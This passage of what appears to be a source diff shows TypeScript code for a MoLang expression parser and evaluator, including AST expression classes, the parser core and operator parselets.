* Default: false
*/
keepGroups: boolean
/**
* Whether to convert undefined variables to "0"
*
* Default: false
*/
convertUndefined: boolean
/**
* Use radians instead of degrees for trigonometric functions
*
* Default: false
*/
useRadians: boolean
/**
* Resolve undefined variables
*/
variableHandler: TVariableHandler
}
export { Tokenizer } from './tokenizer/Tokenizer'
export { IExpression } from './parser/expression'
export { CustomMoLang } from './custom/main'
export { MoLang } from './MoLang'
export * as expressions from './parser/expressions/index'
export { Context } from './env/env'

View File

@ -0,0 +1,57 @@
/**
* Interface that describes an AST Expression
*/
export interface IExpression {
readonly type: string
readonly isReturn?: boolean
readonly isBreak?: boolean
readonly isContinue?: boolean
readonly allExpressions: IExpression[]
setFunctionCall?: (value: boolean) => void
setPointer?: (value: unknown) => void
setExpressionAt(index: number, expr: IExpression): void
eval(): unknown
isStatic(): boolean
walk(cb: TIterateCallback): IExpression
iterate(cb: TIterateCallback, visited: Set<IExpression>): void
}
export abstract class Expression implements IExpression {
public abstract readonly type: string
abstract eval(): unknown
abstract isStatic(): boolean
toString() {
return `${this.eval()}`
}
abstract allExpressions: IExpression[]
abstract setExpressionAt(index: number, expr: IExpression): void
walk(cb: TIterateCallback, visited = new Set<IExpression>()): IExpression {
let expr = cb(this) ?? this
expr.iterate(cb, visited)
return expr
}
iterate(cb: TIterateCallback, visited: Set<IExpression>) {
for (let i = 0; i < this.allExpressions.length; i++) {
const originalExpr = this.allExpressions[i]
if (visited.has(originalExpr)) continue
else visited.add(originalExpr)
const expr = cb(originalExpr) ?? originalExpr
if (expr !== originalExpr && visited.has(expr)) continue
else visited.add(expr)
this.setExpressionAt(i, expr)
expr.iterate(cb, visited)
}
}
}
export type TIterateCallback = (expr: IExpression) => IExpression | undefined

View File

@ -0,0 +1,32 @@
import { Expression, IExpression } from '../expression'
export class ArrayAccessExpression extends Expression {
type = 'ArrayAccessExpression'
constructor(protected name: IExpression, protected lookup: IExpression) {
super()
}
get allExpressions() {
return [this.name, this.lookup]
}
setExpressionAt(index: number, expr: IExpression) {
if (index === 0) this.name = expr
else if (index === 1) this.lookup = expr
}
isStatic() {
return false
}
setPointer(value: unknown) {
;(<any>this.name.eval())[<number>this.lookup.eval()] = value
}
eval() {
return (<any>this.name.eval())[<number>this.lookup.eval()]
}
toString() {
return `${this.name.toString()}[${this.lookup.toString()}]`
}
}

View File

@ -0,0 +1,21 @@
import { Expression } from '../expression'
export class BooleanExpression extends Expression {
type = 'BooleanExpression'
constructor(protected value: boolean) {
super()
}
get allExpressions() {
return []
}
setExpressionAt() {}
isStatic() {
return true
}
eval() {
return this.value
}
}

View File

@ -0,0 +1,26 @@
import { Expression } from '../expression'
export class BreakExpression extends Expression {
type = 'BreakExpression'
isBreak = true
constructor() {
super()
}
get allExpressions() {
return []
}
setExpressionAt() {}
isStatic() {
return false
}
eval() {
return 0
}
isString() {
return 'break'
}
}

View File

@ -0,0 +1,48 @@
import { ExecutionEnvironment } from '../../env/env'
import { Expression, IExpression } from '../expression'
import { NameExpression } from './name'
export class ContextSwitchExpression extends Expression {
type = 'NameExpression'
constructor(
protected leftExpr: NameExpression,
protected rightExpr: NameExpression
) {
super()
}
get allExpressions() {
return [this.leftExpr, this.rightExpr]
}
setExpressionAt(index: number, expr: IExpression) {
if (!(expr instanceof NameExpression))
throw new Error(
`Cannot use context switch operator "->" on ${expr.type}`
)
if (index === 0) this.leftExpr = expr
else if (index === 1) this.rightExpr = expr
}
isStatic() {
return false
}
eval() {
const context = this.leftExpr.eval()
if (typeof context !== 'object') return 0
this.rightExpr.setExecutionEnv(
new ExecutionEnvironment(
context,
this.rightExpr.executionEnv.config
)
)
return this.rightExpr.eval()
}
toString() {
return `${this.leftExpr.toString()}->${this.rightExpr.toString()}`
}
}

View File

@ -0,0 +1,26 @@
import { Expression } from '../expression'
export class ContinueExpression extends Expression {
type = 'ContinueExpression'
isContinue = true
constructor() {
super()
}
get allExpressions() {
return []
}
setExpressionAt() {}
isStatic() {
return false
}
eval() {
return 0
}
toString() {
return 'continue'
}
}

View File

@ -0,0 +1,63 @@
import { Expression, IExpression } from '../expression'
export class ForEachExpression extends Expression {
type = 'ForEachExpression'
constructor(
protected variable: IExpression,
protected arrayExpression: IExpression,
protected expression: IExpression
) {
super()
if (!this.variable.setPointer)
throw new Error(
`First for_each() argument must be a variable, received "${typeof this.variable.eval()}"`
)
}
get isReturn() {
return this.expression.isReturn
}
get allExpressions() {
return [this.variable, this.arrayExpression, this.expression]
}
setExpressionAt(index: number, expr: IExpression) {
if (index === 0) this.variable = expr
else if (index === 1) this.arrayExpression = expr
else if (index === 2) this.expression = expr
}
isStatic() {
return (
this.variable.isStatic() &&
this.arrayExpression.isStatic() &&
this.expression.isStatic()
)
}
eval() {
const array = this.arrayExpression.eval()
if (!Array.isArray(array))
throw new Error(
`Second for_each() argument must be an array, received "${typeof array}"`
)
let i = 0
while (i < array.length) {
// Error detection for this.variable is part of the constructor
this.variable.setPointer?.(array[i++])
const res = this.expression.eval()
if (this.expression.isBreak) break
else if (this.expression.isContinue) continue
else if (this.expression.isReturn) return res
}
return 0
}
toString() {
return `loop(${this.variable.toString()},${this.arrayExpression.toString()},${this.expression.toString()})`
}
}

View File

@ -0,0 +1,46 @@
import { NameExpression } from './name'
import { Expression, IExpression } from '../expression'
export class FunctionExpression extends Expression {
type = 'FunctionExpression'
constructor(protected name: IExpression, protected args: IExpression[]) {
super()
}
get allExpressions() {
return [this.name, ...this.args]
}
setExpressionAt(index: number, expr: Expression) {
if (index === 0) this.name = expr
else if (index > 0) this.args[index - 1] = expr
}
isStatic() {
return false
}
eval() {
const args: unknown[] = []
let i = 0
while (i < this.args.length) args.push(this.args[i++].eval())
const func = <(...args: unknown[]) => unknown>this.name.eval()
if (typeof func !== 'function')
throw new Error(
`${(<NameExpression>this.name).toString()} is not callable!`
)
return func(...args)
}
toString() {
let str = `${this.name.toString()}(`
for (let i = 0; i < this.args.length; i++) {
str += `${this.args[i].toString()}${
i + 1 < this.args.length ? ',' : ''
}`
}
return `${str})`
}
}

View File

@ -0,0 +1,37 @@
import { Expression, IExpression } from '../expression'
export class GenericOperatorExpression extends Expression {
type = 'GenericOperatorExpression'
constructor(
protected left: IExpression,
protected right: IExpression,
protected operator: string,
protected evalHelper: (
leftExpression: IExpression,
rightExpression: IExpression
) => unknown
) {
super()
}
get allExpressions() {
return [this.left, this.right]
}
setExpressionAt(index: number, expr: IExpression) {
if (index === 0) this.left = expr
else if (index === 1) this.right = expr
}
isStatic() {
return this.left.isStatic() && this.right.isStatic()
}
eval() {
return this.evalHelper(this.left, this.right)
}
toString() {
return `${this.left.toString()}${this.operator}${this.right.toString()}`
}
}

View File

@ -0,0 +1,38 @@
import { Expression, IExpression } from '../expression'
export class GroupExpression extends Expression {
type = 'GroupExpression'
constructor(protected expression: IExpression, protected brackets: string) {
super()
}
get allExpressions() {
return [this.expression]
}
setExpressionAt(_: number, expr: IExpression) {
this.expression = expr
}
isStatic() {
return this.expression.isStatic()
}
get isReturn() {
return this.expression.isReturn
}
get isBreak() {
return this.expression.isBreak
}
get isContinue() {
return this.expression.isContinue
}
eval() {
return this.expression.eval()
}
toString() {
return `${this.brackets[0]}${this.expression.toString()}${
this.brackets[1]
}`
}
}

View File

@ -0,0 +1,19 @@
export { ArrayAccessExpression } from './arrayAccess'
export { BooleanExpression } from './boolean'
export { BreakExpression } from './break'
export { ContinueExpression } from './continue'
export { ForEachExpression } from './forEach'
export { FunctionExpression } from './function'
export { GenericOperatorExpression } from './genericOperator'
export { GroupExpression } from './group'
export { LoopExpression } from './loop'
export { NameExpression } from './name'
export { NumberExpression } from './number'
export { PostfixExpression } from './postfix'
export { PrefixExpression } from './prefix'
export { ReturnExpression } from './return'
export { StatementExpression } from './statement'
export { StaticExpression } from './static'
export { StringExpression } from './string'
export { TernaryExpression } from './ternary'
export { VoidExpression } from './void'

View File

@ -0,0 +1,56 @@
import { Expression, IExpression } from '../expression'
export class LoopExpression extends Expression {
type = 'LoopExpression'
constructor(
protected count: IExpression,
protected expression: IExpression
) {
super()
}
get allExpressions() {
return [this.count, this.expression]
}
setExpressionAt(index: number, expr: IExpression) {
if (index === 0) this.count = expr
else if (index === 1) this.expression = expr
}
get isReturn() {
return this.expression.isReturn
}
isStatic() {
return this.count.isStatic() && this.expression.isStatic()
}
eval() {
const repeatCount = Number(this.count.eval())
if (Number.isNaN(repeatCount))
throw new Error(
`First loop() argument must be of type number, received "${typeof this.count.eval()}"`
)
if (repeatCount > 1024)
throw new Error(
`Cannot loop more than 1024x times, received "${repeatCount}"`
)
let i = 0
while (i < repeatCount) {
i++
const res = this.expression.eval()
if (this.expression.isBreak) break
else if (this.expression.isContinue) continue
else if (this.expression.isReturn) return res
}
return 0
}
toString() {
return `loop(${this.count.toString()},${this.expression.toString()})`
}
}

View File

@ -0,0 +1,47 @@
import { ExecutionEnvironment } from '../../env/env'
import { Expression } from '../expression'
export class NameExpression extends Expression {
type = 'NameExpression'
constructor(
public executionEnv: ExecutionEnvironment,
protected name: string,
protected isFunctionCall = false
) {
super()
}
get allExpressions() {
return []
}
setExpressionAt() {}
isStatic() {
return false
}
setPointer(value: unknown) {
this.executionEnv.setAt(this.name, value)
}
setFunctionCall(value = true) {
this.isFunctionCall = value
}
setName(name: string) {
this.name = name
}
setExecutionEnv(executionEnv: ExecutionEnvironment) {
this.executionEnv = executionEnv
}
eval() {
const value = this.executionEnv.getFrom(this.name)
if (!this.isFunctionCall && typeof value === 'function') return value()
return value
}
toString() {
return this.name
}
}

View File

@ -0,0 +1,25 @@
import { Expression } from '../expression'
export class NumberExpression extends Expression {
type = 'NumberExpression'
constructor(protected value: number) {
super()
}
get allExpressions() {
return []
}
setExpressionAt() {}
isStatic() {
return true
}
eval() {
return this.value
}
toString() {
return '' + this.value
}
}

View File

@ -0,0 +1,32 @@
import { TTokenType } from '../../tokenizer/token'
import { Expression, IExpression } from '../expression'
export class PostfixExpression extends Expression {
type = 'PostfixExpression'
constructor(
protected expression: IExpression,
protected tokenType: TTokenType
) {
super()
}
get allExpressions() {
return [this.expression]
}
setExpressionAt(_: number, expr: IExpression) {
this.expression = expr
}
isStatic() {
return this.expression.isStatic()
}
eval() {
switch (this.tokenType) {
case 'X': {
// DO SOMETHING
}
}
}
}

View File

@ -0,0 +1,57 @@
import { TTokenType } from '../../tokenizer/token'
import { Expression, IExpression } from '../expression'
export class PrefixExpression extends Expression {
type = 'PrefixExpression'
constructor(
protected tokenType: TTokenType,
protected expression: IExpression
) {
super()
}
get allExpressions() {
return [this.expression]
}
setExpressionAt(_: number, expr: IExpression) {
this.expression = expr
}
isStatic() {
return this.expression.isStatic()
}
eval() {
const value = this.expression.eval()
if (typeof value !== 'number')
throw new Error(
`Cannot use "${
this.tokenType
}" operator in front of ${typeof value} "${value}"`
)
switch (this.tokenType) {
case 'MINUS': {
return -value
}
case 'BANG': {
return !value
}
}
}
toString() {
switch (this.tokenType) {
case 'MINUS': {
return `-${this.expression.toString()}`
}
case 'BANG': {
return `!${this.expression.toString()}`
}
}
throw new Error(`Unknown prefix operator: "${this.tokenType}"`)
}
}

View File

@ -0,0 +1,29 @@
import { Expression, IExpression } from '../expression'
export class ReturnExpression extends Expression {
type = 'ReturnExpression'
isReturn = true
constructor(protected expression: IExpression) {
super()
}
get allExpressions() {
return [this.expression]
}
setExpressionAt(_: number, expr: IExpression) {
this.expression = expr
}
isStatic() {
return false
}
eval() {
return this.expression.eval()
}
toString() {
return `return ${this.expression.toString()}`
}
}

View File

@ -0,0 +1,102 @@
import { Expression, IExpression } from '../expression'
import { StaticExpression } from './static'
import { VoidExpression } from './void'
export class StatementExpression extends Expression {
type = 'StatementExpression'
protected didReturn?: boolean = undefined
protected wasLoopBroken = false
protected wasLoopContinued = false
constructor(protected expressions: IExpression[]) {
super()
}
get allExpressions() {
return this.expressions
}
setExpressionAt(index: number, expr: IExpression) {
this.expressions[index] = expr
}
get isReturn() {
if (this.didReturn !== undefined) return this.didReturn
// This breaks scope vs. statement parsing for some reason
let i = 0
while (i < this.expressions.length) {
const expr = this.expressions[i]
if (expr.isBreak) return false
if (expr.isContinue) return false
if (expr.isReturn) {
this.didReturn = true
return true
}
i++
}
this.didReturn = false
return false
}
get isBreak() {
if (this.wasLoopBroken) {
this.wasLoopBroken = false
return true
}
return false
}
get isContinue() {
if (this.wasLoopContinued) {
this.wasLoopContinued = false
return true
}
return false
}
isStatic() {
let i = 0
while (i < this.expressions.length) {
if (!this.expressions[i].isStatic()) return false
i++
}
return true
}
eval() {
this.didReturn = false
this.wasLoopBroken = false
this.wasLoopContinued = false
let i = 0
while (i < this.expressions.length) {
let res = this.expressions[i].eval()
if (this.expressions[i].isReturn) {
this.didReturn = true
return res
} else if (this.expressions[i].isContinue) {
this.wasLoopContinued = true
return
} else if (this.expressions[i].isBreak) {
this.wasLoopBroken = true
return
}
i++
}
return 0
}
toString() {
let str = ''
for (const expr of this.expressions) {
if (
expr instanceof VoidExpression ||
(expr instanceof StaticExpression && !expr.isReturn)
)
continue
str += `${expr.toString()};`
}
return str
}
}

View File

@ -0,0 +1,28 @@
import { Expression } from '../expression'
export class StaticExpression extends Expression {
type = 'StaticExpression'
constructor(protected value: unknown, public readonly isReturn = false) {
super()
}
get allExpressions() {
return []
}
setExpressionAt() {}
isStatic() {
return true
}
eval() {
return this.value
}
toString() {
let val = this.value
if (typeof val === 'string') val = `'${val}'`
if (this.isReturn) return `return ${val}`
return '' + val
}
}

View File

@ -0,0 +1,26 @@
import { Expression } from '../expression'
export class StringExpression extends Expression {
type = 'StringExpression'
constructor(protected name: string) {
super()
}
get allExpressions() {
return []
}
setExpressionAt() {}
isStatic() {
return true
}
eval() {
return this.name.substring(1, this.name.length - 1)
}
toString() {
return this.name
}
}

View File

@ -0,0 +1,79 @@
import { Expression, IExpression } from '../expression'
import { VoidExpression } from './void'
export class TernaryExpression extends Expression {
type = 'TernaryExpression'
protected leftResult: unknown
constructor(
protected leftExpression: IExpression,
protected thenExpression: IExpression,
protected elseExpression: IExpression
) {
super()
}
get allExpressions() {
if (this.leftExpression.isStatic())
return [
this.leftExpression,
this.leftExpression.eval()
? this.thenExpression
: this.elseExpression,
]
return [this.leftExpression, this.thenExpression, this.elseExpression]
}
setExpressionAt(index: number, expr: IExpression) {
if (index === 0) this.leftExpression = expr
else if (index === 1) this.thenExpression = expr
else if (index === 2) this.elseExpression = expr
}
get isReturn() {
if (this.leftResult === undefined)
return this.thenExpression.isReturn && this.elseExpression.isReturn
return this.leftResult
? this.thenExpression.isReturn
: this.elseExpression.isReturn
}
get hasReturn() {
return this.thenExpression.isReturn || this.elseExpression.isReturn
}
get isContinue() {
if (this.leftResult === undefined)
return (
this.thenExpression.isContinue && this.elseExpression.isContinue
)
return this.leftResult
? this.thenExpression.isContinue
: this.elseExpression.isContinue
}
get isBreak() {
if (this.leftResult === undefined)
return this.thenExpression.isBreak && this.elseExpression.isBreak
return this.leftResult
? this.thenExpression.isBreak
: this.elseExpression.isBreak
}
isStatic() {
return (
this.leftExpression.isStatic() &&
this.thenExpression.isStatic() &&
this.elseExpression.isStatic()
)
}
eval() {
this.leftResult = this.leftExpression.eval()
return this.leftResult
? this.thenExpression.eval()
: this.elseExpression.eval()
}
toString() {
if (this.elseExpression instanceof VoidExpression)
return `${this.leftExpression.toString()}?${this.thenExpression.toString()}`
return `${this.leftExpression.toString()}?${this.thenExpression.toString()}:${this.elseExpression.toString()}`
}
}

View File

@ -0,0 +1,21 @@
import { Expression } from '../expression'
export class VoidExpression extends Expression {
type = 'VoidExpression'
get allExpressions() {
return []
}
setExpressionAt() {}
isStatic() {
return true
}
eval() {
return 0
}
toString() {
return ''
}
}

View File

@ -0,0 +1,88 @@
import { Parser } from './parse'
import { BinaryOperator } from './parselets/binaryOperator'
import { EPrecedence } from './precedence'
import { PrefixOperator } from './parselets/prefix'
import { NumberParselet } from './parselets/number'
import { NameParselet } from './parselets/name'
import { GroupParselet } from './parselets/groupParselet'
import { ReturnParselet } from './parselets/return'
import { StatementParselet } from './parselets/statement'
import { StringParselet } from './parselets/string'
import { FunctionParselet } from './parselets/function'
import { ArrayAccessParselet } from './parselets/arrayAccess'
import { ScopeParselet } from './parselets/scope'
import { LoopParselet } from './parselets/loop'
import { ForEachParselet } from './parselets/forEach'
import { ContinueParselet } from './parselets/continue'
import { BreakParselet } from './parselets/break'
import { BooleanParselet } from './parselets/boolean'
import { IParserConfig } from '../main'
import { EqualsOperator } from './parselets/equals'
import { NotEqualsOperator } from './parselets/notEquals'
import { AndOperator } from './parselets/andOperator'
import { OrOperator } from './parselets/orOperator'
import { SmallerOperator } from './parselets/smallerOperator'
import { GreaterOperator } from './parselets/greaterOperator'
import { QuestionOperator } from './parselets/questionOperator'
export class MoLangParser extends Parser {
constructor(config: Partial<IParserConfig>) {
super(config)
//Special parselets
this.registerPrefix('NAME', new NameParselet())
this.registerPrefix('STRING', new StringParselet())
this.registerPrefix('NUMBER', new NumberParselet())
this.registerPrefix('TRUE', new BooleanParselet(EPrecedence.PREFIX))
this.registerPrefix('FALSE', new BooleanParselet(EPrecedence.PREFIX))
this.registerPrefix('RETURN', new ReturnParselet())
this.registerPrefix('CONTINUE', new ContinueParselet())
this.registerPrefix('BREAK', new BreakParselet())
this.registerPrefix('LOOP', new LoopParselet())
this.registerPrefix('FOR_EACH', new ForEachParselet())
this.registerInfix(
'QUESTION',
new QuestionOperator(EPrecedence.CONDITIONAL)
)
this.registerPrefix('LEFT_PARENT', new GroupParselet())
this.registerInfix(
'LEFT_PARENT',
new FunctionParselet(EPrecedence.FUNCTION)
)
this.registerInfix(
'ARRAY_LEFT',
new ArrayAccessParselet(EPrecedence.ARRAY_ACCESS)
)
this.registerPrefix('CURLY_LEFT', new ScopeParselet(EPrecedence.SCOPE))
this.registerInfix(
'SEMICOLON',
new StatementParselet(EPrecedence.STATEMENT)
)
//Prefix parselets
this.registerPrefix('MINUS', new PrefixOperator(EPrecedence.PREFIX))
this.registerPrefix('BANG', new PrefixOperator(EPrecedence.PREFIX))
//Postfix parselets
//Nothing here yet
//Infix parselets
this.registerInfix('PLUS', new BinaryOperator(EPrecedence.SUM))
this.registerInfix('MINUS', new BinaryOperator(EPrecedence.SUM))
this.registerInfix('ASTERISK', new BinaryOperator(EPrecedence.PRODUCT))
this.registerInfix('SLASH', new BinaryOperator(EPrecedence.PRODUCT))
this.registerInfix(
'EQUALS',
new EqualsOperator(EPrecedence.EQUALS_COMPARE)
)
this.registerInfix(
'BANG',
new NotEqualsOperator(EPrecedence.EQUALS_COMPARE)
)
this.registerInfix('GREATER', new GreaterOperator(EPrecedence.COMPARE))
this.registerInfix('SMALLER', new SmallerOperator(EPrecedence.COMPARE))
this.registerInfix('AND', new AndOperator(EPrecedence.AND))
this.registerInfix('OR', new OrOperator(EPrecedence.OR))
this.registerInfix('ASSIGN', new BinaryOperator(EPrecedence.ASSIGNMENT))
}
}

View File

@ -0,0 +1,118 @@
import { Tokenizer } from '../tokenizer/Tokenizer'
import { TTokenType, Token } from '../tokenizer/token'
import { IPrefixParselet } from './parselets/prefix'
import { IInfixParselet } from './parselets/infix'
import { IExpression } from './expression'
import { ExecutionEnvironment } from '../env/env'
import { IParserConfig } from '../main'
import { VoidExpression } from './expressions/void'
export class Parser {
protected prefixParselets = new Map<TTokenType, IPrefixParselet>()
protected infixParselets = new Map<TTokenType, IInfixParselet>()
protected readTokens: Token[] = []
protected tokenIterator = new Tokenizer()
executionEnv!: ExecutionEnvironment
constructor(public config: Partial<IParserConfig>) {}
updateConfig(config: Partial<IParserConfig>) {
this.config = config
}
init(expression: string) {
this.tokenIterator.init(expression)
this.readTokens = []
}
setTokenizer(tokenizer: Tokenizer) {
this.tokenIterator = tokenizer
}
setExecutionEnvironment(executionEnv: ExecutionEnvironment) {
this.executionEnv = executionEnv
}
parseExpression(precedence = 0): IExpression {
let token = this.consume()
if (token.getType() === 'EOF') return new VoidExpression()
const prefix = this.prefixParselets.get(token.getType())
if (!prefix) {
throw new Error(
`Cannot parse ${token.getType()} expression "${token.getType()}"`
)
}
let expressionLeft = prefix.parse(this, token)
return this.parseInfixExpression(expressionLeft, precedence)
}
parseInfixExpression(expressionLeft: IExpression, precedence = 0) {
let token
while (this.getPrecedence() > precedence) {
token = this.consume()
let tokenType = token.getType()
if (tokenType === 'EQUALS' && !this.match('EQUALS')) {
tokenType = 'ASSIGN'
}
const infix = <IInfixParselet>this.infixParselets.get(tokenType)
if (!infix)
throw new Error(`Unknown infix parselet: "${tokenType}"`)
expressionLeft = infix.parse(this, expressionLeft, token)
}
return expressionLeft
}
getPrecedence() {
const parselet = this.infixParselets.get(this.lookAhead(0).getType())
return parselet?.precedence ?? 0
}
consume(expected?: TTokenType) {
//Sets the lastLineNumber & startColumn before consuming next token
//Used for getting the exact location an error occurs
// this.tokenIterator.step()
const token = this.lookAhead(0)
if (expected && token.getType() !== expected) {
throw new Error(
`Expected token "${expected}" and found "${token.getType()}"`
)
}
this.readTokens.shift()!
return token
}
match(expected: TTokenType, consume = true) {
const token = this.lookAhead(0)
if (token.getType() !== expected) return false
if (consume) this.consume()
return true
}
lookAhead(distance: number) {
while (distance >= this.readTokens.length)
this.readTokens.push(this.tokenIterator.next())
return this.readTokens[distance]
}
registerInfix(tokenType: TTokenType, infixParselet: IInfixParselet) {
this.infixParselets.set(tokenType, infixParselet)
}
registerPrefix(tokenType: TTokenType, prefixParselet: IPrefixParselet) {
this.prefixParselets.set(tokenType, prefixParselet)
}
getInfix(tokenType: TTokenType) {
return this.infixParselets.get(tokenType)
}
getPrefix(tokenType: TTokenType) {
return this.prefixParselets.get(tokenType)
}
}

View File

@ -0,0 +1,21 @@
import { Parser } from '../parse'
import { Token } from '../../tokenizer/token'
import { IExpression } from '../expression'
import { GenericOperatorExpression } from '../expressions/genericOperator'
import { IInfixParselet } from './infix'
export class AndOperator implements IInfixParselet {
constructor(public precedence = 0) {}
parse(parser: Parser, leftExpression: IExpression, token: Token) {
if (parser.match('AND'))
return new GenericOperatorExpression(
leftExpression,
parser.parseExpression(this.precedence),
'&&',
(leftExpression: IExpression, rightExpression: IExpression) =>
leftExpression.eval() && rightExpression.eval()
)
else throw new Error(`"&" not followed by another "&"`)
}
}

View File

@ -0,0 +1,22 @@
import { Token } from '../../tokenizer/token'
import { Parser } from '../parse'
import { IInfixParselet } from './infix'
import { IExpression } from '../expression'
import { ArrayAccessExpression } from '../expressions/arrayAccess'
export class ArrayAccessParselet implements IInfixParselet {
constructor(public precedence = 0) {}
parse(parser: Parser, left: IExpression, token: Token) {
const expr = parser.parseExpression(this.precedence - 1)
if (!left.setPointer) throw new Error(`"${left.type}" is not an array`)
if (!parser.match('ARRAY_RIGHT'))
throw new Error(
`No closing bracket for opening bracket "[${expr.eval()}"`
)
return new ArrayAccessExpression(left, expr)
}
}

View File

@ -0,0 +1,134 @@
import { IInfixParselet } from './infix'
import { Parser } from '../parse'
import { IExpression } from '../expression'
import { Token } from '../../tokenizer/token'
import { GenericOperatorExpression } from '../expressions/genericOperator'
const plusHelper = (
leftExpression: IExpression,
rightExpression: IExpression
) => {
const leftValue = leftExpression.eval()
const rightValue = rightExpression.eval()
if (
!(typeof leftValue === 'number' || typeof leftValue === 'boolean') ||
!(typeof rightValue === 'number' || typeof rightValue === 'boolean')
)
throw new Error(
`Cannot use numeric operators for expression "${leftValue} + ${rightValue}"`
)
//@ts-ignore
return leftValue + rightValue
}
const minusHelper = (
leftExpression: IExpression,
rightExpression: IExpression
) => {
const leftValue = leftExpression.eval()
const rightValue = rightExpression.eval()
if (
!(typeof leftValue === 'number' || typeof leftValue === 'boolean') ||
!(typeof rightValue === 'number' || typeof rightValue === 'boolean')
)
throw new Error(
`Cannot use numeric operators for expression "${leftValue} - ${rightValue}"`
)
//@ts-ignore
return leftValue - rightValue
}
const divideHelper = (
leftExpression: IExpression,
rightExpression: IExpression
) => {
const leftValue = leftExpression.eval()
const rightValue = rightExpression.eval()
if (
!(typeof leftValue === 'number' || typeof leftValue === 'boolean') ||
!(typeof rightValue === 'number' || typeof rightValue === 'boolean')
)
throw new Error(
`Cannot use numeric operators for expression "${leftValue} / ${rightValue}"`
)
//@ts-ignore
return leftValue / rightValue
}
const multiplyHelper = (
leftExpression: IExpression,
rightExpression: IExpression
) => {
const leftValue = leftExpression.eval()
const rightValue = rightExpression.eval()
if (
!(typeof leftValue === 'number' || typeof leftValue === 'boolean') ||
!(typeof rightValue === 'number' || typeof rightValue === 'boolean')
)
throw new Error(
`Cannot use numeric operators for expression "${leftValue} * ${rightValue}"`
)
//@ts-ignore
return leftValue * rightValue
}
const assignHelper = (
leftExpression: IExpression,
rightExpression: IExpression
) => {
if (leftExpression.setPointer) {
leftExpression.setPointer(rightExpression.eval())
return 0
} else {
throw Error(`Cannot assign to ${leftExpression.type}`)
}
}
export class BinaryOperator implements IInfixParselet {
constructor(public precedence = 0) {}
parse(parser: Parser, leftExpression: IExpression, token: Token) {
const rightExpression = parser.parseExpression(this.precedence)
// return new AdditionExpression(leftExpression, rightExpression)
const tokenText = token.getText()
switch (tokenText) {
case '+':
return new GenericOperatorExpression(
leftExpression,
rightExpression,
tokenText,
plusHelper
)
case '-':
return new GenericOperatorExpression(
leftExpression,
rightExpression,
tokenText,
minusHelper
)
case '*':
return new GenericOperatorExpression(
leftExpression,
rightExpression,
tokenText,
multiplyHelper
)
case '/':
return new GenericOperatorExpression(
leftExpression,
rightExpression,
tokenText,
divideHelper
)
case '=': {
return new GenericOperatorExpression(
leftExpression,
rightExpression,
'=',
assignHelper
)
}
default:
throw new Error(`Operator not implemented`)
}
}
}

View File

@ -0,0 +1,12 @@
import { IPrefixParselet } from './prefix'
import { Token } from '../../tokenizer/token'
import { Parser } from '../parse'
import { BooleanExpression } from '../expressions/boolean'
export class BooleanParselet implements IPrefixParselet {
constructor(public precedence = 0) {}
parse(parser: Parser, token: Token) {
return new BooleanExpression(token.getText() === 'true')
}
}

View File

@ -0,0 +1,12 @@
import { Parser } from '../parse'
import { Token } from '../../tokenizer/token'
import { IPrefixParselet } from './prefix'
import { BreakExpression } from '../expressions/break'
export class BreakParselet implements IPrefixParselet {
constructor(public precedence = 0) {}
parse(parser: Parser, token: Token) {
return new BreakExpression()
}
}

View File

@ -0,0 +1,12 @@
import { Parser } from '../parse'
import { Token } from '../../tokenizer/token'
import { IPrefixParselet } from './prefix'
import { ContinueExpression } from '../expressions/continue'
export class ContinueParselet implements IPrefixParselet {
constructor(public precedence = 0) {}
parse(parser: Parser, token: Token) {
return new ContinueExpression()
}
}

View File

@ -0,0 +1,19 @@
import { Parser } from '../../parser/parse'
import { Token } from '../../tokenizer/token'
import { IExpression } from '../expression'
import { GenericOperatorExpression } from '../expressions/genericOperator'
import { IInfixParselet } from './infix'
export class EqualsOperator implements IInfixParselet {
constructor(public precedence = 0) {}
parse(parser: Parser, leftExpression: IExpression, token: Token) {
return new GenericOperatorExpression(
leftExpression,
parser.parseExpression(this.precedence),
'==',
(leftExpression: IExpression, rightExpression: IExpression) =>
leftExpression.eval() === rightExpression.eval()
)
}
}

View File

@ -0,0 +1,29 @@
import { Parser } from '../parse'
import { Token } from '../../tokenizer/token'
import { IPrefixParselet } from './prefix'
import { IExpression } from '../expression'
import { ForEachExpression } from '../expressions/forEach'
export class ForEachParselet implements IPrefixParselet {
constructor(public precedence = 0) {}
parse(parser: Parser, token: Token) {
parser.consume('LEFT_PARENT')
const args: IExpression[] = []
if (parser.match('RIGHT_PARENT'))
throw new Error(`for_each() called without arguments`)
do {
args.push(parser.parseExpression())
} while (parser.match('COMMA'))
parser.consume('RIGHT_PARENT')
if (args.length !== 3)
throw new Error(
`There must be exactly three for_each() arguments; found ${args.length}`
)
return new ForEachExpression(args[0], args[1], args[2])
}
}

View File

@ -0,0 +1,26 @@
import { Token } from '../../tokenizer/token'
import { Parser } from '../parse'
import { IInfixParselet } from './infix'
import { IExpression } from '../expression'
import { FunctionExpression } from '../expressions/function'
export class FunctionParselet implements IInfixParselet {
constructor(public precedence = 0) {}
parse(parser: Parser, left: IExpression, token: Token) {
const args: IExpression[] = []
if (!left.setFunctionCall)
throw new Error(`${left.type} is not callable!`)
left.setFunctionCall(true)
if (!parser.match('RIGHT_PARENT')) {
do {
args.push(parser.parseExpression())
} while (parser.match('COMMA'))
parser.consume('RIGHT_PARENT')
}
return new FunctionExpression(left, args)
}
}

View File

@ -0,0 +1,31 @@
import { Parser } from '../parse'
import { Token } from '../../tokenizer/token'
import { IExpression } from '../expression'
import { GenericOperatorExpression } from '../expressions/genericOperator'
import { IInfixParselet } from './infix'
export class GreaterOperator implements IInfixParselet {
constructor(public precedence = 0) {}
parse(parser: Parser, leftExpression: IExpression, token: Token) {
if (parser.match('EQUALS'))
return new GenericOperatorExpression(
leftExpression,
parser.parseExpression(this.precedence),
'>=',
(leftExpression: IExpression, rightExpression: IExpression) =>
// @ts-ignore
leftExpression.eval() >= rightExpression.eval()
)
else {
return new GenericOperatorExpression(
leftExpression,
parser.parseExpression(this.precedence),
'>',
(leftExpression: IExpression, rightExpression: IExpression) =>
// @ts-ignore
leftExpression.eval() > rightExpression.eval()
)
}
}
}

View File

@ -0,0 +1,18 @@
import { IPrefixParselet } from './prefix'
import { Token } from '../../tokenizer/token'
import { Parser } from '../parse'
import { GroupExpression } from '../expressions/group'
export class GroupParselet implements IPrefixParselet {
constructor(public precedence = 0) {}
parse(parser: Parser, token: Token) {
const expression = parser.parseExpression(this.precedence)
parser.consume('RIGHT_PARENT')
if (parser.config.keepGroups)
return new GroupExpression(expression, '()')
return expression
}
}

View File

@ -0,0 +1,8 @@
import { Parser } from '../parse'
import { IExpression } from '../expression'
